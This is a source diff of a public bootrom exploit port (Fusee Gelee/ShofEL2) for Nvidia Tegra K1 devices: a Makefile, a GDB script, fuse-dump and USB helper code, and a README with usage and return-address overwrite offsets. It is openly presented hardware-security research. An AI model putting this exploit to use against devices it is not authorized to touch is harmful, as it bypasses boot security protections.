// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,27 @@
// Copyright (c) 2010 The Chromium OS Authors. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,27 @@
// Copyright (c) 2018 Team fail0verflow. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of fail0verflow nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

77
ShofEL2-for-T124/Makefile Normal file
View File

@ -0,0 +1,77 @@
CFLAGS := -Wall -Werror -I include -MMD
CFLAGS := -Wall -Werror -I include -MMD -Wno-unused-variable
BIN_FILES = reset_example.bin jtag_example.bin intermezzo.bin boot_bct.bin payload.bin
all: shofel2_t124 $(BIN_FILES)
# --------- x86 ----------
CC_x86 = gcc
CFLAGS_x86 := $(CFLAGS)
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
C_FILES_x86:= $(wildcard exploit/*.c)
OBJ_FILES_x86 := $(addprefix build/obj_x86/,$(notdir $(C_FILES_x86:.c=.o)))
-include $(OBJ_FILES_x86:.o=.d)
build/obj_x86/%.o: exploit/%.c
$(CC_x86) $(CFLAGS_x86) -c -o $@ $<
shofel2_t124: $(OBJ_FILES_x86)
$(CC_x86) $(CFLAGS_x86) -o $@ $^
# ------------------------
# ----- ARMv4t Thumb -----
TOOLCHAIN_ARM := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi-
CC_ARM = $(TOOLCHAIN_ARM)gcc
AS_ARM = $(TOOLCHAIN_ARM)as
OBJCOPY_ARM = $(TOOLCHAIN_ARM)objcopy
CFLAGS_ARM := $(CFLAGS) -march=armv4t -mthumb -Os -ffreestanding \
-fno-common -fomit-frame-pointer -nostdlib -fno-builtin-printf \
-fno-asynchronous-unwind-tables -fPIE -fno-builtin -fno-exceptions \
-Wl,--no-dynamic-linker,--build-id=none,-T,payloads/payload.ld
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
C_FILES_ARM := $(wildcard payloads/*.c)
OBJ_FILES_ARM := $(addprefix build/obj_arm/,$(notdir $(C_FILES_ARM:.c=.o)))
-include $(OBJ_FILES_ARM:.o=.d)
build/obj_arm/%.o: payloads/%.c
$(CC_ARM) $(CFLAGS_ARM) -c -o $@ $<
build/reset_example.elf: build/obj_arm/reset_example.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/jtag_example.elf: build/obj_arm/jtag_example.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/boot_bct.elf: build/obj_arm/boot_bct.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/mem_dumper_usb_server.elf: build/obj_arm/mem_dumper_usb_server.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/payload.elf: build/obj_arm/payload.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
build/intermezzo.elf: build/obj_arm/intermezzo.o
$(CC_ARM) $(CFLAGS_ARM) -o $@ $^
%.bin: build/%.elf
$(OBJCOPY_ARM) -O binary $< $@
# ------------------------
clean:
rm -f $(OBJ_FILES_ARM) $(OBJ_FILES_x86)
rm -f shofel2_t124 build/*.elf $(BIN_FILES)
cleanall: clean
rm -f build/obj_arm/*.d build/obj_x86/*.d

View File

@ -0,0 +1,63 @@
# ShofEL2 for T124
This is a Fusee Gelee / ShofEL2 exploit port for the Nvidia T124 (a.k.a Jetson TK1, Shield K1, etc).
Currently this code allows you to download and execute a payload to the T124, dump the fuses and memory and boot bct without apply the locks.
Mostly of my code is based on the original ShofEL2 code and Katherine Temkin research, so I cannot take that much credit for this.
See the original fail0verflow blog post: https://fail0verflow.com/blog/2018/shofel2/
See additional info at the original Katherine Temkin github: https://github.com/Qyriad/fusee-launcher/blob/master/report/fusee_gelee.md
## Obligatory disclaimer
This code is provided without any warranty, use under your own resposability.
## Usage
You need an arm-*-eabi toolkit. You can use [Crosstool-ng](https://crosstool-ng.github.io/download/) compile it.
Build the loader and payloads:
$ cd ShofEL2-for-T124
$ make
Usage
$ ./shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD ) [options]
$ MEM_DUMP address length out_file -> Dumps "length" bytes starting from "address" to "out_file".
$ READ_FUSES out_file -> Dumps the T124 fuses to "out_file" and show them in console.
$ BOOT_BCT -> Boots BCT without applying locks.
$ PAYLOAD payload.bin [arm|thumb] -> Boots "payload.bin" the entrymode mode can be specified (thumb by default)
## Interesting facts (maybe some of them wrong)
* RCM loads the payload to IRAM at 0x4000E000 (described on tegrarcm source code).
* RCM cmd format is sligitly different. RCM cmd header length is 0x284 bytes but the firtst 4 bytes still containing the RCM cmd length.
* RCM cmd length restrictions are different to X1 bootrom:
* Bulk transfers need to be multiply of 0x1000 to ensure use the whole usb buffer.
* RCM cmd length minus 0x284 (header length) must be a multiple of 0x10 (which means RCM CMD length needs to end in 4).
* RCM cmd min length is 0x404 bytes. Due to the previous condition the minimun length would be 0x1004.
* RCM cmd length cannot exceed avaiable IRAM for the payload (from 0x4000E000 till 0x4003FFFF).
* With all this in mind max RCM cmd length is 0x32274 bytes.
* Since the exploit uses usb buffer 2, only 0x31000 bytes can be used for the payload in order to avoid finishing the RCM cmd.
* A payload can still be loaded using the same path as the one used by the original shofEL2, since no validation is carried out till the whole payload is received.
* Even if the specs says that the JTAG is enabled by default, cold bootrom code disasbles it while is runnig (not as dumb as expected :D).
* RCM runs on an ARM7TDMI core, I manage to halt the CPU on uboot using a Segger J-LINK.
* When the poisoned get status is executed, 0x30C bytes will be copied before the payload. These bytes are part of the execution stack, starting with the USB status var.
* Using the original sanity_check function from shofel2, I got from the execution stack that the RCM USB buffers are located at 0x40004000 and 0x40008000.
* Two USB buffers of 0x1000 bytes still present. They still alternating on each USB txn. And odd number of USB txn will let you on the hight buffer for the next txn.
* Using the original sanity_check function from shofel2, I got from the execution stack that the memcpy return address is located at 0x4000DCD8 (0x4000DCF4 - 0xC - 2 * 4 - 2 * 4).
* The position in the RCM cmd where the entry adress need to be write to smash the memcpy return address is calculated as follow:
* n_bytes_to_copy = 0x4000DCD8 - 0x40008000 (memcpy_ret_add_loc - usb_buf2_add) -> n_bytes_to_copy = 0x5CD8 bytes
* pos_in_payload = n_bytes_to_copy - 0x30C (copied from the execution stack) - 0x4 -> pos_in_payload = 0x59C8
* pos_in_rcm_cmd = pos_in_payload + 0x284 (header length) -> pos_in_rcm_cmd = 0x5C4C
* I found the following functions on the the bootrom:
| Function | IROM Address | Description |
| ------------- | ------------- | ------------- |
| void ep1_in_write_imm(void *buffer, u32 size, u32 *num_xfer) | 0x001065C0 | Writes EP1_IN |
| void ep1_out_read_imm(void *buffer, u32 size, u32 *num_xfer) | 0x00106612 | Reads EP1_OUT |
| void do_bct_boot() | 0x00100624 | Boots BCT without applying locks. |

BIN
ShofEL2-for-T124/a.out Executable file

Binary file not shown.

View File

@ -0,0 +1,23 @@
# J-LINK GDB SERVER initialization
#
# This connects to a GDB Server listening
# for commands on localhost at tcp port 2331
target remote localhost:2331
# Set JTAG speed to 30 kHz
monitor speed 4
# Set GDBServer to little endian
monitor endian little
# Reset the chip to get to a known state.
monitor reset
#
# CPU core initialization (to be done by user)
#
# Set the processor mode (Enables THUMB)
monitor reg cpsr = 0xf3
# Set auto JTAG speed
monitor speed auto
# Setup GDB FOR FASTER DOWNLOADS
set remote memory-write-packet-size 1024
set remote memory-write-packet-size fixed
# Load the program executable called "reset_example.elf"
load reset_example.elf

View File

@ -0,0 +1,138 @@
// Copy paste from https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
#include "fuse.h"
void print_fuses( fuse_chip_registers_t *fuse_chip_registers ) {
// don't worry, i didn't type these in by hand.
printf( "FUSE_PRODUCTION_MODE: %08x\n", fuse_chip_registers->FUSE_PRODUCTION_MODE );
printf( "FUSE_JTAG_SECUREID_VALID: %08x\n", fuse_chip_registers->FUSE_JTAG_SECUREID_VALID );
printf( "FUSE_ODM_LOCK: %08x\n", fuse_chip_registers->FUSE_ODM_LOCK );
printf( "FUSE_OPT_OPENGL_EN: %08x\n", fuse_chip_registers->FUSE_OPT_OPENGL_EN );
printf( "FUSE_SKU_INFO: %08x\n", fuse_chip_registers->FUSE_SKU_INFO );
printf( "FUSE_CPU_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_0_CALIB );
printf( "FUSE_CPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_IDDQ_CALIB );
printf( "RESERVED_0x01C: %08x\n", fuse_chip_registers->RESERVED_0x01C );
printf( "RESERVED_0x020: %08x\n", fuse_chip_registers->RESERVED_0x020 );
printf( "RESERVED_0x024: %08x\n", fuse_chip_registers->RESERVED_0x024 );
printf( "FUSE_OPT_FT_REV: %08x\n", fuse_chip_registers->FUSE_OPT_FT_REV );
printf( "FUSE_CPU_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_1_CALIB );
printf( "FUSE_CPU_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_CPU_SPEEDO_2_CALIB );
printf( "FUSE_SOC_SPEEDO_0_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_0_CALIB );
printf( "FUSE_SOC_SPEEDO_1_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_1_CALIB );
printf( "FUSE_SOC_SPEEDO_2_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_SPEEDO_2_CALIB );
printf( "FUSE_SOC_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_SOC_IDDQ_CALIB );
printf( "RESERVED_0x044: %08x\n", fuse_chip_registers->RESERVED_0x044 );
printf( "FUSE_FA: %08x\n", fuse_chip_registers->FUSE_FA );
printf( "FUSE_RESERVED_PRODUCTION: %08x\n", fuse_chip_registers->FUSE_RESERVED_PRODUCTION );
printf( "FUSE_HDMI_LANE0_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE0_CALIB );
printf( "FUSE_HDMI_LANE1_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE1_CALIB );
printf( "FUSE_HDMI_LANE2_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE2_CALIB );
printf( "FUSE_HDMI_LANE3_CALIB: %08x\n", fuse_chip_registers->FUSE_HDMI_LANE3_CALIB );
printf( "FUSE_ENCRYPTION_RATE: %08x\n", fuse_chip_registers->FUSE_ENCRYPTION_RATE );
printf( "FUSE_PUBLIC_KEY 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[0], fuse_chip_registers->FUSE_PUBLIC_KEY[1], fuse_chip_registers->FUSE_PUBLIC_KEY[2], fuse_chip_registers->FUSE_PUBLIC_KEY[3] );
printf( "FUSE_PUBLIC_KEY 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PUBLIC_KEY[4], fuse_chip_registers->FUSE_PUBLIC_KEY[5], fuse_chip_registers->FUSE_PUBLIC_KEY[6], fuse_chip_registers->FUSE_PUBLIC_KEY[7] );
printf( "FUSE_TSENSOR1_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR1_CALIB );
printf( "FUSE_TSENSOR2_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR2_CALIB );
printf( "RESERVED_0x08C: %08x\n", fuse_chip_registers->RESERVED_0x08C );
printf( "FUSE_OPT_CP_REV: %08x\n", fuse_chip_registers->FUSE_OPT_CP_REV );
printf( "FUSE_OPT_PFG: %08x\n", fuse_chip_registers->FUSE_OPT_PFG );
printf( "FUSE_TSENSOR0_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR0_CALIB );
printf( "FUSE_BOOTROM_PATCH_SIZE: %08x\n", fuse_chip_registers->FUSE_BOOTROM_PATCH_SIZE );
printf( "FUSE_SECURITY_MODE: %08x\n", fuse_chip_registers->FUSE_SECURITY_MODE );
printf( "FUSE_PRIVATE_KEY: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_PRIVATE_KEY[0], fuse_chip_registers->FUSE_PRIVATE_KEY[1], fuse_chip_registers->FUSE_PRIVATE_KEY[2], fuse_chip_registers->FUSE_PRIVATE_KEY[3] );
printf( "FUSE_DEVICE_KEY: %08x\n", fuse_chip_registers->FUSE_DEVICE_KEY );
printf( "FUSE_ARM_DEBUG_DIS: %08x\n", fuse_chip_registers->FUSE_ARM_DEBUG_DIS );
printf( "FUSE_BOOT_DEVICE_INFO: %08x\n", fuse_chip_registers->FUSE_BOOT_DEVICE_INFO );
printf( "FUSE_RESERVED_SW: %08x\n", fuse_chip_registers->FUSE_RESERVED_SW );
printf( "FUSE_VP8_ENABLE: %08x\n", fuse_chip_registers->FUSE_VP8_ENABLE );
printf( "FUSE_RESERVED_ODM 0-3: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[0], fuse_chip_registers->FUSE_RESERVED_ODM[1], fuse_chip_registers->FUSE_RESERVED_ODM[2], fuse_chip_registers->FUSE_RESERVED_ODM[3] );
printf( "FUSE_RESERVED_ODM 4-7: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_RESERVED_ODM[4], fuse_chip_registers->FUSE_RESERVED_ODM[5], fuse_chip_registers->FUSE_RESERVED_ODM[6], fuse_chip_registers->FUSE_RESERVED_ODM[7] );
printf( "FUSE_OBS_DIS: %08x\n", fuse_chip_registers->FUSE_OBS_DIS );
printf( "RESERVED_0x0EC: %08x\n", fuse_chip_registers->RESERVED_0x0EC );
printf( "FUSE_USB_CALIB: %08x\n", fuse_chip_registers->FUSE_USB_CALIB );
printf( "FUSE_SKU_DIRECT_CONFIG: %08x\n", fuse_chip_registers->FUSE_SKU_DIRECT_CONFIG );
printf( "FUSE_KFUSE_PRIVKEY_CTRL: %08x\n", fuse_chip_registers->FUSE_KFUSE_PRIVKEY_CTRL );
printf( "FUSE_PACKAGE_INFO: %08x\n", fuse_chip_registers->FUSE_PACKAGE_INFO );
printf( "FUSE_OPT_VENDOR_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_VENDOR_CODE );
printf( "FUSE_OPT_FAB_CODE: %08x\n", fuse_chip_registers->FUSE_OPT_FAB_CODE );
printf( "FUSE_OPT_LOT_CODE_0: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_0 );
printf( "FUSE_OPT_LOT_CODE_1: %08x\n", fuse_chip_registers->FUSE_OPT_LOT_CODE_1 );
printf( "FUSE_OPT_WAFER_ID: %08x\n", fuse_chip_registers->FUSE_OPT_WAFER_ID );
printf( "FUSE_OPT_X_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_X_COORDINATE );
printf( "FUSE_OPT_Y_COORDINATE: %08x\n", fuse_chip_registers->FUSE_OPT_Y_COORDINATE );
printf( "FUSE_OPT_SEC_DEBUG_EN: %08x\n", fuse_chip_registers->FUSE_OPT_SEC_DEBUG_EN );
printf( "FUSE_OPT_OPS_RESERVED: %08x\n", fuse_chip_registers->FUSE_OPT_OPS_RESERVED );
printf( "FUSE_SATA_CALIB: %08x\n", fuse_chip_registers->FUSE_SATA_CALIB );
printf( "FUSE_GPU_IDDQ_CALIB: %08x\n", fuse_chip_registers->FUSE_GPU_IDDQ_CALIB );
printf( "FUSE_TSENSOR3_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR3_CALIB );
printf( "FUSE_SKU_BOND_OUT_L: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_L );
printf( "FUSE_SKU_BOND_OUT_H: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_H );
printf( "FUSE_SKU_BOND_OUT_U: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_U );
printf( "FUSE_SKU_BOND_OUT_V: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_V );
printf( "FUSE_SKU_BOND_OUT_W: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_W );
printf( "RESERVED_0x144: %08x\n", fuse_chip_registers->RESERVED_0x144 );
printf( "FUSE_OPT_SUBREVISION: %08x\n", fuse_chip_registers->FUSE_OPT_SUBREVISION );
printf( "FUSE_OPT_SW_RESERVED_0: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_0 );
printf( "FUSE_OPT_SW_RESERVED_1: %08x\n", fuse_chip_registers->FUSE_OPT_SW_RESERVED_1 );
printf( "FUSE_TSENSOR4_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR4_CALIB );
printf( "FUSE_TSENSOR5_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR5_CALIB );
printf( "FUSE_TSENSOR6_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR6_CALIB );
printf( "FUSE_TSENSOR7_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR7_CALIB );
printf( "FUSE_OPT_PRIV_SEC_EN: %08x\n", fuse_chip_registers->FUSE_OPT_PRIV_SEC_EN );
printf( "FUSE_PKC_DISABLE: %08x\n", fuse_chip_registers->FUSE_PKC_DISABLE );
printf( "RESERVED_0x16C: %08x\n", fuse_chip_registers->RESERVED_0x16C );
printf( "RESERVED_0x170: %08x\n", fuse_chip_registers->RESERVED_0x170 );
printf( "RESERVED_0x174: %08x\n", fuse_chip_registers->RESERVED_0x174 );
printf( "RESERVED_0x178: %08x\n", fuse_chip_registers->RESERVED_0x178 );
printf( "FUSE_FUSE2TSEC_DEBUG_DISABLE: %08x\n", fuse_chip_registers->FUSE_FUSE2TSEC_DEBUG_DISABLE );
printf( "FUSE_TSENSOR8_CALIB: %08x\n", fuse_chip_registers->FUSE_TSENSOR8_CALIB );
printf( "FUSE_OPT_CP_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_CP_BIN );
printf( "FUSE_OPT_GPU_FS: %08x\n", fuse_chip_registers->FUSE_OPT_GPU_FS );
printf( "FUSE_OPT_FT_BIN: %08x\n", fuse_chip_registers->FUSE_OPT_FT_BIN );
printf( "RESERVED_0x190: %08x\n", fuse_chip_registers->RESERVED_0x190 );
printf( "FUSE_SKU_BOND_OUT_X: %08x\n", fuse_chip_registers->FUSE_SKU_BOND_OUT_X );
printf( "FUSE_APB2JTAG_DISABLE: %08x\n", fuse_chip_registers->FUSE_APB2JTAG_DISABLE );
printf( "RESERVED_0x19C: %08x\n", fuse_chip_registers->RESERVED_0x19C );
printf( "FUSE_PHY_FLOORSWEEP: %08x\n", fuse_chip_registers->FUSE_PHY_FLOORSWEEP );
printf( "FUSE_PHY_FLOOR_ENABLE: %08x\n", fuse_chip_registers->FUSE_PHY_FLOOR_ENABLE );
printf( "FUSE_ARM_CRYPT_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_ARM_CRYPT_DE_FEATURE );
printf( "FUSE_DENVER_MTS_DE_FEATURE: %08x\n", fuse_chip_registers->FUSE_DENVER_MTS_DE_FEATURE );
printf( "FUSE_DIE_VERSION_OVERRIDE: %08x\n", fuse_chip_registers->FUSE_DIE_VERSION_OVERRIDE );
printf( "FUSE_TRIMMERS: %08x\n", fuse_chip_registers->FUSE_TRIMMERS );
printf( "FUSE_DENVER_BOOT_SEC: %08x\n", fuse_chip_registers->FUSE_DENVER_BOOT_SEC );
printf( "FUSE_DENVER_DFD_ACCESS: %08x\n", fuse_chip_registers->FUSE_DENVER_DFD_ACCESS );
printf( "FUSE_WOA_SKU_FLAG: %08x\n", fuse_chip_registers->FUSE_WOA_SKU_FLAG );
printf( "FUSE_ECO_RESERVE_1: %08x\n", fuse_chip_registers->FUSE_ECO_RESERVE_1 );
printf( "FUSE_GCPLEX_CONFIG_FUSE: %08x\n", fuse_chip_registers->FUSE_GCPLEX_CONFIG_FUSE );
printf( "RESERVED_0x1CC: %08x\n", fuse_chip_registers->RESERVED_0x1CC );
printf( "RESERVED_0x1D0: %08x\n", fuse_chip_registers->RESERVED_0x1D0 );
printf( "RESERVED_0x1D4: %08x\n", fuse_chip_registers->RESERVED_0x1D4 );
printf( "RESERVED_0x1D8: %08x\n", fuse_chip_registers->RESERVED_0x1D8 );
printf( "RESERVED_0x1DC: %08x\n", fuse_chip_registers->RESERVED_0x1DC );
printf( "RESERVED_0x1E0: %08x\n", fuse_chip_registers->RESERVED_0x1E0 );
printf( "RESERVED_0x1E4: %08x\n", fuse_chip_registers->RESERVED_0x1E4 );
printf( "RESERVED_0x1E8: %08x\n", fuse_chip_registers->RESERVED_0x1E8 );
printf( "RESERVED_0x1EC: %08x\n", fuse_chip_registers->RESERVED_0x1EC );
printf( "RESERVED_0x1F0: %08x\n", fuse_chip_registers->RESERVED_0x1F0 );
printf( "RESERVED_0x1F4: %08x\n", fuse_chip_registers->RESERVED_0x1F4 );
printf( "RESERVED_0x1F8: %08x\n", fuse_chip_registers->RESERVED_0x1F8 );
printf( "FUSE_SPARE_REALIGNMENT_REG: %08x\n", fuse_chip_registers->FUSE_SPARE_REALIGNMENT_REG );
printf( "FUSE_SPARE_BITS 00-03: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 0], fuse_chip_registers->FUSE_SPARE_BITS[ 1], fuse_chip_registers->FUSE_SPARE_BITS[ 2], fuse_chip_registers->FUSE_SPARE_BITS[ 3] );
printf( "FUSE_SPARE_BITS 04-07: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 4], fuse_chip_registers->FUSE_SPARE_BITS[ 5], fuse_chip_registers->FUSE_SPARE_BITS[ 6], fuse_chip_registers->FUSE_SPARE_BITS[ 7] );
printf( "FUSE_SPARE_BITS 08-11: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[ 8], fuse_chip_registers->FUSE_SPARE_BITS[ 9], fuse_chip_registers->FUSE_SPARE_BITS[10], fuse_chip_registers->FUSE_SPARE_BITS[11] );
printf( "FUSE_SPARE_BITS 12-15: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[12], fuse_chip_registers->FUSE_SPARE_BITS[13], fuse_chip_registers->FUSE_SPARE_BITS[14], fuse_chip_registers->FUSE_SPARE_BITS[15] );
printf( "FUSE_SPARE_BITS 16-19: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[16], fuse_chip_registers->FUSE_SPARE_BITS[17], fuse_chip_registers->FUSE_SPARE_BITS[18], fuse_chip_registers->FUSE_SPARE_BITS[19] );
printf( "FUSE_SPARE_BITS 20-23: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[20], fuse_chip_registers->FUSE_SPARE_BITS[21], fuse_chip_registers->FUSE_SPARE_BITS[22], fuse_chip_registers->FUSE_SPARE_BITS[23] );
printf( "FUSE_SPARE_BITS 24-27: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[24], fuse_chip_registers->FUSE_SPARE_BITS[25], fuse_chip_registers->FUSE_SPARE_BITS[26], fuse_chip_registers->FUSE_SPARE_BITS[27] );
printf( "FUSE_SPARE_BITS 28-31: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[28], fuse_chip_registers->FUSE_SPARE_BITS[29], fuse_chip_registers->FUSE_SPARE_BITS[30], fuse_chip_registers->FUSE_SPARE_BITS[31] );
printf( "FUSE_SPARE_BITS 32-35: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[32], fuse_chip_registers->FUSE_SPARE_BITS[33], fuse_chip_registers->FUSE_SPARE_BITS[34], fuse_chip_registers->FUSE_SPARE_BITS[35] );
printf( "FUSE_SPARE_BITS 36-39: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[36], fuse_chip_registers->FUSE_SPARE_BITS[37], fuse_chip_registers->FUSE_SPARE_BITS[38], fuse_chip_registers->FUSE_SPARE_BITS[39] );
printf( "FUSE_SPARE_BITS 40-43: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[40], fuse_chip_registers->FUSE_SPARE_BITS[41], fuse_chip_registers->FUSE_SPARE_BITS[42], fuse_chip_registers->FUSE_SPARE_BITS[43] );
printf( "FUSE_SPARE_BITS 44-47: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[44], fuse_chip_registers->FUSE_SPARE_BITS[45], fuse_chip_registers->FUSE_SPARE_BITS[46], fuse_chip_registers->FUSE_SPARE_BITS[47] );
printf( "FUSE_SPARE_BITS 48-51: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[48], fuse_chip_registers->FUSE_SPARE_BITS[49], fuse_chip_registers->FUSE_SPARE_BITS[50], fuse_chip_registers->FUSE_SPARE_BITS[51] );
printf( "FUSE_SPARE_BITS 52-55: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[52], fuse_chip_registers->FUSE_SPARE_BITS[53], fuse_chip_registers->FUSE_SPARE_BITS[54], fuse_chip_registers->FUSE_SPARE_BITS[55] );
printf( "FUSE_SPARE_BITS 56-59: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[56], fuse_chip_registers->FUSE_SPARE_BITS[57], fuse_chip_registers->FUSE_SPARE_BITS[58], fuse_chip_registers->FUSE_SPARE_BITS[59] );
printf( "FUSE_SPARE_BITS 60-63: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[60], fuse_chip_registers->FUSE_SPARE_BITS[61], fuse_chip_registers->FUSE_SPARE_BITS[62], fuse_chip_registers->FUSE_SPARE_BITS[63] );
}

View File

@ -0,0 +1,173 @@
#include "mini_libusb.h"
#define SYSFS_MOUNT_PATH "/sys"
#define SYSFS_DEVICE_PATH SYSFS_MOUNT_PATH "/bus/usb/devices"
struct setup_data {
uint8_t bRequestType;
uint8_t bRequest;
uint16_t wValue;
uint16_t wIndex;
uint16_t wLength;
uint8_t data[];
};
int usb_get_att(uint16_t *val, char *d_name, char *attr, int base) {
int ret = -1;
char filepath[256];
char attr_buf[20];
int attr_fd;
snprintf(filepath, sizeof(filepath), SYSFS_DEVICE_PATH "/%s/%s", d_name, attr);
attr_fd = open(filepath, O_RDONLY);
if (attr_fd < 0) {
DEBUG_MSG( "Usb %s: %s attribute not found.\n", d_name, attr );
goto exit;
}
if ( !read(attr_fd, attr_buf, sizeof(attr_buf)) ) {
DEBUG_MSG( "Usb %s: couldn't read %s.\n", d_name, attr );
goto exit;
}
*val = (uint16_t) strtol(attr_buf, NULL, base);
ret = 0;
exit:
close(attr_fd);
return ret;
}
int usb_find_path_by_vid_pid( char *path, uint16_t vid, uint16_t pid ) {
int ret = -1;
uint16_t d_vid, d_pid, d_bus, d_num;
DIR *devices = opendir( SYSFS_DEVICE_PATH );
struct dirent *entry;
if ( !devices ) {
fprintf( stderr, "Critical Error: Sysfs not avaiable." );
return 1;
}
